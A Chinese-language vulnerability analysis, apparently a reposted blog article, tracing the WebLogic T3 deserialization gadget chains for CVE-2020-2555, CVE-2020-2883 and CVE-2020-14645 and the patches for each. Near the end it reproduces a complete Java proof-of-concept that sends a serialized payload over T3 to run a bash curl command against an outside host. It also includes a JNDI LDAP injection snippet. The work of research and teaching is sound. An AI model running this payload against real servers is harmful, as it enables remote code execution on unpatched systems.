Weblogic12c T3 协议安全漏洞分析【CVE-2020-14645 CVE-2020-2883 CVE-2020-14645】
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## 前言
WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基于JAVAEE架構的中間件。 主要用于開發、集成、部署和管理大型分布式Web應用、網絡應用和數據庫應用的Java應用服務器。 近幾年頻繁爆發出多個RCE漏洞，而在今年，其T3協議被頻繁攻擊和發布補丁與繞過，本文主要對今年來由T3協議入口所產生的多個RCE漏洞進行分析，其中主要包括CVE-2020-2555、 CVE-2020-2883(bypass CVE-2020-2555補丁)、 CVE-2020-14645 (bypass CVE-2020-2883補丁)。
環境搭建
兩種搭建環境，第一種是利用docker搭建環境，利用IDEA動態調試，可參考[1]，本文調試建議使用Weblogic Server版本12.2.1.4.0，對于該版本的docker文件在https://hub.docker.com/_/oracle-weblogic-server-12c?tab=reviews。
第二種是在官方下載安裝包[2]，并安裝安裝指引進行安裝[3]。
我們采用第二種進行。在Oracle官網下載后進行安裝。
安裝完后導入IDEA再進行配置即可。
漏洞版本
CVE-2020-2555 && CVE-2020-2883(bypass CVE-2020-2555補丁)
10.3.6.0.0
12.1.3.0.0
12.2.1.3.0
12.2.1.4.0
CVE-2020-14645 (bypass CVE-2020-2883補丁)
12.2.1.4.0**
漏洞成因
簡單理解該漏洞成因便是Weblogic 默認開啟 T3 協議，攻擊者可利用T3協議進行反序列化漏洞實現遠程代碼執行。
基于代碼的漏洞介紹：CVE-2020-2555主要源于在coherence.jar存在著用于gadget構造的類（反序列化構造類），并且利用weblogic默認存在的T3協議進行傳輸和解析進而導致weblogic服務器反序列化惡意代碼最后執行攻擊語句。
T3協議
WebLogic Server 中的 RMI 通信使用 T3 協議在 WebLogic Server 和其他 Java 程序（包括客戶端及其他 WebLogic Server 實例）間傳輸數據。
同時T3協議包括
1.請求包頭 2. 請求主體
因此，在T3數據包構造過程中，需要發送兩部分的數據
- List item
請求包頭，形如
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://localhost:7001 LP:DOMAIN 1以\n結束
- 同時，我們發送t3的請求包，可用于刺探服務器weblogic版本，該服務器會將自身版本進行響應，形如
- 序列化數據部分，序列化部分的構成方式有兩種：
第一種生成方式為，將weblogic發送的JAVA序列化數據的第二到九部分的JAVA序列化數據的任意一個替換為惡意的序列化數據。
第二種生成方式為，將weblogic發送的JAVA序列化數據的第一部分與惡意的序列化數據進行拼接。
具體T3的數據結構可參考http://drops.xmd5.com/static/drops/web-13470.html，這里我們不關注T3具體數據結構，而是將重心放在T3的反序列化漏洞上。
- 綜上，為實現T3協議的JAVA序列化包，需要在T3數據結構頭部發送后在其中插入序列化惡意數據，該惡意數據與JAVA的原生ObjectOutputStream數據類型是一樣的，然后發送T3數據結構尾部。
CVE-2020-2555
由于CVE-2020-2883是對2555補丁的繞過，我們先看看原來的CVE-2020-2555利用鏈。
BadAttributeValueExpException.readObject() com.tangosol.util.filter.LimitFilter.toString() //CVE-2020-2555出現時 對此進行了修補 com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() //... com.tangosol.util.extractor.ReflectionExtractor().extract() Method.invoke() Runtime.exec()我們使用12.2.1.4.0對此進行調試。
根據已知的一些漏洞信息
漏洞的產生點是 coherence.jar 包中的 LimitFilter 函數，我們將相關漏洞包coherence.jar和tangsol.jar 添加到庫函數并反編譯add as library
在server\lib\console-ext\autodeploy\tangosol.jar!\com\tangosol\util\filter\LimitFilter.class#toString下一些斷點，調試并發送POC。
根據堆棧信息，Weblogic收到POC的數據后，對其進行分發后對T3的數據段部分進行了反序列化還原操作，進而產生了該漏洞的入口。
利用 BadAttributeValueExpException類實例可以用來調用任意類的**toString()**方法 ，這里可能有小伙伴會好奇，為什么這個類的實例能調用在任意類的toString()方法？原因如下：
利用 java.io.ObjectInputStream反序列化一個類時會默認調用該類的readObject方法。
javax.management.BadAttributeValueExpException#readObject方法會對傳入的ObjectInputStream實例提取其val屬性的值(這也是為什么我們要將惡意對象注入到val屬性)。
然后將該值進行判斷（valObj受到我們的控制，就是我們注入val屬性的對象），我們需要進入的是val = valObj.toString();進而調用控制的valObj對象的toString方法：
這里的System.getSecurityManager需要為null才會進入toString邏輯。
因此我們可以操控valObj成為任意對象并對讓其使用toString方法，這里我們選擇的惡意宿主是LimitFilter類，原因如下：
了解到LimitFilter類會被我們操作執行toString方法，其toString方法存在如下操作
注意到在LimitFilter.class#toString方法中， 獲取到該類的m_comparator成員屬性后，轉換為(ValueExtractor)對象并調用自身extract方法 ：
這里可能會有疑問，如何去控制m_comparator成員屬性呢？因為這個類其實就是我們自己寫的惡意類，當然可以控制其成員屬性了。
到這里，我們就可以控制我們構造的惡意類里面m_comparator成員的extract方法了，而m_comparator成員可控。因此我們可以控制任意類的extract方法了。而后我們選取的利用類是com.tangosol.util.extractor.ChainedExtractor#extract，因為它的extract方法是這樣的，該方法會將this.getExtractors返回的數組依次調extract并返回給oTarget：
this.getExtractors方法繼承自AbstractCompositeExtractor，返回成員屬性this.m_aExtractor
而這個this.m_aExtractor則來自原始方法AbstractCompositeExtractor()，即是初始化該示例的時候傳入的：
那么可以理解為，com.tangosol.util.extractor.ChainedExtractor類會依次對 初始化實例時調用傳入的ValueExtractor[]類型的列表 調用extract方法。
至此我們便有了調用多個對象extract的能力。
又是一個疑問，這里都是調用extract方法，怎么才能從extract到Runtime.getRuntime.exec() ****的調用呢？答案是反射。如果我們可以找到一個類，該類的extract方法可控并且傳入參數會被順序進行反射，那么就可以通過控制extract和傳入參數進行RCE了。這個類是com.tangosol.util.extractor.ReflectionExtractor#extract
**反射的形式這里不細講了，有興趣的可以參考[4]
這里需要形成需要被調用的方法.invoke(被調用類class, 執行的代碼)。
諸如
然后利用com.tangosol.util.extractor.ReflectionExtractor#extract進行傳入構造再invoke。
綜上，我們構造如下代碼片段。
POC邏輯
1.組裝ReflectionExtractor成為列表賦值給valueExtractors（ReflectionExtractor有反射的extract函數）。
2.然后通過放入ChainedExtractor(列表依次extract) (ChainedExtractor有列表extract函數)。
3.然后通過放入limitFilter(limitFilter可讓ChainedExtractor使用extract)。
4.然后通過放入BadAttributeValueExpException(令limitFilter使用toString)。
于是構成了該利用鏈。
最后序列化數據源代碼大致如下：
CVE-2020-2555補丁
本地補丁檢測方式：
cd %Oracle_Home%/Middleware/wlserver/server/lib java -cp weblogic.jar weblogic.version
可以看到，Oracle官方在一月發布了CVE-2020-2555的補丁[5]。
該補丁需要用戶持有正版軟件的許可賬號，使用該賬號登陸官方網站方可下載。
該補丁阻斷了LimitFilter傳入的對象使用extract方法.
CVE-2020-2883
后續 VNPT ISC的研究員Quynh Le向ZDI提交了一個漏洞][6]
該補丁阻斷了LimitFilter，也就是阻斷了從readObject —> toString ----> extract的路徑
然而該研究員找到了另一個路徑去連接readObject ----> extract
java.util.PriorityQueue.readObject
Oracle WebLogic 最新補丁的繞過漏洞分析（CVE-2020-2883）
https://github.com/Y4er/CVE-2020-2883
java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() com.tangosol.util.extractor.ExtractorComparator.compare() com.tangosol.util.extractor.ChainedExtractor.extract() //... Method.invoke() //... Runtime.exec()java.util.PriorityQueue#readObject會調用heapify函數，如下圖，具體利用時使用雙參構造方法，我們看看文檔的描述。
使用指定的初始容量創建一個 PriorityQueue，并根據指定的比較器對元素進行排序。
這里我們指定的比較器是 ExtractorComparator ，初始容量為2
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
顯而易見，這里我們調用的ExtractorComparator這個比較器compare函數存在著extract方法。
o1和o2的值：
讓m_extractor對象使用extract方法。這里操控m_extractor的方法就是反射（具體前面有）。
于是乎，和前面一樣的，這個m_extractor對象被修改為數組以達到多個對象調用extract方法。然后就進入到com.tangosol.util.extractor.ChainedExtractor。
至此，完成了從readObject —> compare ----> extract的連接。后續調用就和CVE-2020-2555相同了。
調用鏈：
POC可以參考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
CVE-2020-2883補丁
Oracle官方對于CVE-2020-2883的補丁[7]將 extract 方法存在危險操作的 MvelExtractor 和 ReflectionExtractor 兩個類加入到了黑名單中(ReflectionExtractor與MvelExtractor 有反射的extract函數)。
java.util.PriorityQueue.readObject() java.util.PriorityQueue.heapify() java.util.PriorityQueue.siftDown() java.util.PriorityQueue.siftDownUsingComparator() com.tangosol.util.extractor.AbstractExtractor.compare() com.tangosol.util.extractor.MultiExtractor.extract() com.tangosol.util.extractor.ChainedExtractor.extract() com.tangosol.util.extractor.ReflectionExtractor().extract()//patch of 2020-2883 Method.invoke() //... Method.invoke() //... Runtime.exec()CVE-2020-14645
ReflectionExtractor與MvelExtractor 被加入了黑名單，如果我們能找到一個類（類的extract函數中有可控的反射操作)，便可繼續該鏈條（這里我們有的是readObject —> compare ----> extract —> 多個類的extract --> extract中可控反射）。
可采用這個類com.tangosol.util.extractor.UniversalExtractor#extract。
遺憾的是其被transient修飾，被transient關鍵字修飾的變量不再能被序列化。
但是此處在75行對oTarget傳入了extractComplex方法。
又見希望，該方法中也存在可控反射。
值得注意的是，兩條method獲取方法只能從第一個if去取，原因是else中需要確保fProperty==false, 然而184行中m_fMethod存在transient修飾，被transient關鍵字修飾的變量不再能被序列化因此無法構建序列化字節流。
而在if條件中收到參數影響有sBeanAttribute–> sCName—>this.getCanonicalName()，這里做的工作就是187行對sCName首字母大寫并將其與BEAN_ACCESSOR_PREFIXES列表的值進行拼接，取到則停止返回method。
那么BEAN_ACCESSOR_PREFIXES列表是什么樣的呢？其存儲了get和is兩個字符串。因此，在拼接的時候，只能形成get___或者is___這樣的方法調用。
于是可以利用 com.sun.rowset.JdbcRowSetImpl#getDatabaseMetaData()方法進行反射調用構建JNDI注入，這也是為什么之前都是利用原有的ReflectionExtractor直接反射到Runtime類執行而這里卻只能發起JNDI請求在低版本的JDk來執行代碼。
POC邏輯
在POC構造上，先初始化JDBC對象，設置this.m_sName參數為getDatabaseMetaData()
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();rowSet.setDataSourceName("ldap://127.0.0.1:1389/#Calc"); UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
然后是關鍵點的sName會被去掉前綴，因此后面要進行拼接。
依舊讓queue使用ExtractorComparator這個比較器。
對該queue實例設置成員變量(反射)。此處讓該實例queue擁有兩個成員變量，一個是queue，值為new Object[]{rowSet, rowSet}，一個是size，值為2。這里用了寫的Reflections工具類，當然也可以一點點用反射進行設置。
Reflections.setFieldValue(queue, "queue", new Object[]{rowSet, rowSet}); Reflections.setFieldValue(queue, "size", 2);POC參考https://github.com/Y4er/CVE-2020-2883/blob/master/CVE_2020_2883.java
package com.supeream;// com.supeream from https://github.com/5up3rc/weblogic_cmd/ // com.tangosol.util.extractor.ChainedExtractor from coherence.jarimport com.supeream.serial.Reflections; import com.supeream.serial.Serializables; import com.supeream.weblogic.T3ProtocolOperation; import com.tangosol.util.ValueExtractor; import com.tangosol.util.comparator.ExtractorComparator; import com.tangosol.util.extractor.ChainedExtractor; import com.tangosol.util.extractor.ReflectionExtractor;import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.PriorityQueue;/** author:Y4er.com** readObject:797, PriorityQueue (java.util)* heapify:737, PriorityQueue (java.util)* siftDown:688, PriorityQueue (java.util)* siftDownUsingComparator:722, PriorityQueue (java.util)* compare:71, ExtractorComparator (com.tangosol.util.comparator)* extract:81, ChainedExtractor (com.tangosol.util.extractor)* extract:109, ReflectionExtractor (com.tangosol.util.extractor)* invoke:498, Method (java.lang.reflect)*/public class CVE_2020_2883 {public static void main(String[] args) throws Exception {ReflectionExtractor reflectionExtractor1 = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}});ReflectionExtractor reflectionExtractor2 = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); //ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"calc"}});ReflectionExtractor reflectionExtractor3 = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "curl http://172.16.1.1/success"}});ValueExtractor[] valueExtractors = new ValueExtractor[]{reflectionExtractor1,reflectionExtractor2,reflectionExtractor3,};Class clazz = ChainedExtractor.class.getSuperclass();Field m_aExtractor = clazz.getDeclaredField("m_aExtractor");m_aExtractor.setAccessible(true);ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{});ValueExtractor[] valueExtractors1 = new ValueExtractor[]{reflectionExtractor};ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1);PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));queue.add("1");queue.add("1");m_aExtractor.set(chainedExtractor1, valueExtractors);Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");queueArray[0] = Runtime.class;queueArray[1] = "1";// serializebyte[] payload = Serializables.serialize(queue);// T3 send, you can also use python weblogic_t3.py test.serT3ProtocolOperation.send("172.16.1.130", "7001", payload);// testserialize(queueArray); // deserialize();}public static void serialize(Object obj) {try {ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));os.writeObject(obj);os.close();} catch (Exception e) {e.printStackTrace();}}public static void deserialize() {try {ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));is.readObject();} catch (Exception e) {e.printStackTrace();}} }收到的LDAP請求：
該CVE漏洞利用服務器有JDK條件，且只能在Weblogic Server 12.2.1.4.*存在。
LDAP： < JDK6u201/7u191/8u182/11.0.1 RMI: < JDK6u141/7u131/8u121
參考文章[1]利用docker遠程動態調試weblogic
https://blog.csdn.net/sojrs_sec/article/details/103237150
[2]官方下載
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
[3]官方安裝指引
https://docs.oracle.com/en/middleware/fusion-middleware/12.2.1.4/wlsig/installing-oracle-weblogic-server-and-coherence-software.html#GUID-5C7D4437-46A2-45A2-85F3-738B0DFE9AE2
[4] JAVA 反射
https://www.jianshu.com/p/9be58ee20dee
[5]patch for CVE-2020-2555
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2555
[6]Quynh Le向ZDI提交漏洞
https://www.zerodayinitiative.com/advisories/ZDI-20-570/
[7]patch for CVE-2020-2883
https://support.oracle.com/portal/oracleSearch.html?CVE-2020-2883
https://www.oracle.com/security-alerts/cpuapr2020.html
本文參考：https://paper.seebug.org/1321/
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總結
以上是生活随笔為你收集整理的Weblogic12c T3 协议安全漏洞分析【CVE-2020-14645 CVE-2020-2883 CVE-2020-14645】的全部內容，希望文章能夠幫你解決所遇到的問題。
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